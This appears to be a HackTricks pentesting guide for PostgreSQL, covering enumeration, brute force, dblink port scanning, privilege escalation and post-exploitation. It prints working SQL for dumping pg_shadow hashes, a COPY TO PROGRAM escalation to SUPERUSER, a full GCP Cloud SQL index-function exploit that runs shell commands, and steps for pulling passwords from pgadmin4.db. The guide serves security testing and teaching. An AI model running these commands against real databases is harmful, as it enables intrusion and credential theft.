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hacktricks/network-services-pentesting/pentesting-postgresql.md
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5432,5433 - Pentesting Postgresql


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Basic Information

PostgreSQL is an open source object-relational database system that uses and extends the SQL language.

Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.

PORT     STATE SERVICE
5432/tcp open  pgsql

Connect

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
Select user;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;

# Get history of commands executed
\s

For more information about how to abuse a PostgreSQL database check:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}

Enumeration

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

According to this research, when a connection attempt fails, dblink throws an sqlclient_unable_to_establish_sqlconnection exception including an explanation of the error. Examples of these details are listed below.

SELECT * FROM dblink_connect('host=1.2.3.4
                              port=5678
                              user=name
                              password=secret
                              dbname=abc
                              connect_timeout=10');
  • Host is down

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • Port is closed
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port is open
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

or

DETAIL:  FATAL:  password authentication failed for user "name"
  • Port is open or filtered
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Unfortunately, there does not seem to be a way of getting the exception details within a PL/pgSQL function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist at- tack described in the previous section might prove successful.

Enumeration of Privileges

Roles

Role Types
rolsuper Role has superuser privileges
rolinherit Role automatically inherits privileges of roles it is a member of
rolcreaterole Role can create more roles
rolcreatedb Role can create databases
rolcanlogin Role can log in. That is, this role can be given as the initial session authorization identifier
rolreplication Role is a replication role. A replication role can initiate replication connections and create and drop replication slots.
rolconnlimit For roles that can log in, this sets maximum number of concurrent connections this role can make. -1 means no limit.
rolpassword Not the password (always reads as ********)
rolvaliduntil Password expiry time (only used for password authentication); null if no expiration
rolbypassrls Role bypasses every row-level security policy, see Section 5.8 for more information.
rolconfig Role-specific defaults for run-time configuration variables
oid ID of role

Interesting Groups

  • If you are a member of pg_execute_server_program you can execute programs
  • If you are a member of pg_read_server_files you can read files
  • If you are a member of pg_write_server_files you can write files

{% hint style="info" %} Note that in Postgres a user, a group and a role is the same. It just depend on how you use it and if you allow it to login. {% endhint %}

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolbypassrls,
      r.rolconnlimit,
      r.rolvaliduntil,
      r.oid,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error: 
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

Tables

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

Functions

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
    LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modify Password

Users with this role can also change the passwords of other non-superusers:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

{% hint style="info" %} This is usually possible because of the following lines in the pg_hba.conf file:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

{% endhint %}

ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.

When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.

GetUserIdAndSecContext(&save_userid, &save_sec_context); 
SetUserIdAndSecContext(onerel->rd_rel->relowner, 
                       save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. Create a new table.
  2. Insert some dummy content to the table, so the index function has something to work with.
  3. Create a malicious index function (with our code execution payload) on the table.
  4. ALTER the table owner to cloudsqladmin , GCP’s superuser role, used only by Cloud SQL to maintain and manage the database.
  5. ANALYZE the table, forcing the PostgreSQL engine to switch user-context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before.

In PostgreSQL, this flow looks something like this:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
 
INSERT INTO temp_table VALUES ('dummy content');
 
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
 
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
 
ALTER TABLE temp_table OWNER TO cloudsqladmin;
 
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
 
ANALYZE public.temp_table;

After executing the exploit SQL query, the shell_commands_results table contains the output of the executed code:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:

SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          password=supersecret
                          dbname=somedb',
                         'Select usename,passwd from pg_shadow')
                      RETURNS (result TEXT);

If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:

SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                         'Select usename,passwd from pg_shadow')
                      RETURNS (result TEXT);

It's possible to check if this function exists with:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logging

Inside the postgresql.conf file you can enable postgresql logs changing:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Then, restart the service.

pgadmin

pgadmin is an administration and development platform for PostgreSQL.
You can find passwords inside the pgadmin4.db file
You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Client authentication is controlled by a config file frequently named pg_hba.conf. This file has a set of records. A record may have one of the following seven formats:

Each record specifies a connection type, a client IP address range (if relevant for the connection type), a database name, a user name, and the authentication method to be used for connections matching these parameters. The first record with a matching connection type, client address, requested database, and user name is used to perform authentication. There is no "fall-through" or "backup": if one record is chosen and the authentication fails, subsequent records are not considered. If no record matches, access is denied.
The password-based authentication methods are md5, crypt, and password. These methods operate similarly except for the way that the password is sent across the connection: respectively, MD5-hashed, crypt-encrypted, and clear-text. A limitation is that the crypt method does not work with passwords that have been encrypted in pg_authid.

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